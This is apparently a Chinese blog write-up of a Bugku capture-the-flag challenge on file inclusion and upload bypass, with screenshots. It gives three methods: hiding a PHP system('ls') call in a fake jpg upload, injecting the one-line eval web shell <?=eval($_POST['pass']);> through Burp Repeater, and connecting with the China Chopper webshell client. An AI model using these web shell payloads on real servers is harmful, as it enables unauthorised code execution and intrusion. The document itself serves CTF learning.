bugku-文件包含2(文件包含漏洞)

悠悠 2022-04-18 06:28 616阅读 0赞

### **本文介绍三种方法，还会讲到这道题菜刀的连接。**  ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70][]

进入题目页面，没有什么特别的，只能右键查看源代码，发现提示需要跳转到 upload.php上传页面

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 1][]

![20181109165858403.png][]

**方法一：**

**①**新建一个txt文件写入  <script language=php>system("ls")</script>  后另存为 jpg 格式

**②**选择浏览上传文件

![20181109165858640.png][]

**③**访问 保存进去的文件 即 Save in 后面的图片路径

![20181109165902183.png][]

因为我们写入了ls命令，用于显示当前目录下所有文件，发现了flag文件

**④**然后访问：http://123.206.31.85:49166/index.php?file=this\_is\_th3\_F14g\_154f65sd4g35f4d6f43.txt

![20181109165858401.png][]

**方法二：一句话木马**

**①**不需要上传什么文件，直接upload然后抓包：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 2][]

**②**然后ctrl+r发送到reperter里面，传入一句话木马 <?=eval($\_POST\['pass'\]);>

改动如下：（在request修改完点go会在response返显）

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 3][]

**③**复制resonse返显信息修改url：

![20181109165858565.png][]

正常应该是返回空白。但是菜刀连接时显示500 Internal server error 也是没脾气了。

**方法三：一句话木马，连接菜刀**

**①**我们将方法二的一句话改成下面这个：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 4][]

**②**这种方法会返回a。并且菜刀连接成功。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 5][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 6][]

That's all.

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70]: /images/20220418/3991e971dd334e75a78a69f0206792d2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 1]: /images/20220418/a35f242a11b54574ab29134b6c9ae76a.png
[20181109165858403.png]: /images/20220418/19190de5cda94022ad964746a6c191a8.png
[20181109165858640.png]: /images/20220418/8c13d4ea8de94a09bd6b5bbdc7fcb344.png
[20181109165902183.png]: /images/20220418/f3c851c43e1c479787b632a270fcd63b.png
[20181109165858401.png]: /images/20220418/d338a0b7c74d4742a389c9c27a8dbe98.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 2]: /images/20220418/54d0c245b41447d4b2cdf4c541e07424.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 3]: /images/20220418/dff0d2ea9a064622b51d5add3bbf374a.png
[20181109165858565.png]: /images/20220418/f55d36db064145e49bcaeba79ea5b173.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 4]: /images/20220418/de851e699a4e4d5b88a3954eaa235314.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 5]: /images/20220418/ba9ca6bee8c04a52ba053e4f5246de8d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 6]: /images/20220418/f10251c45af24969941a0d9204d1c683.png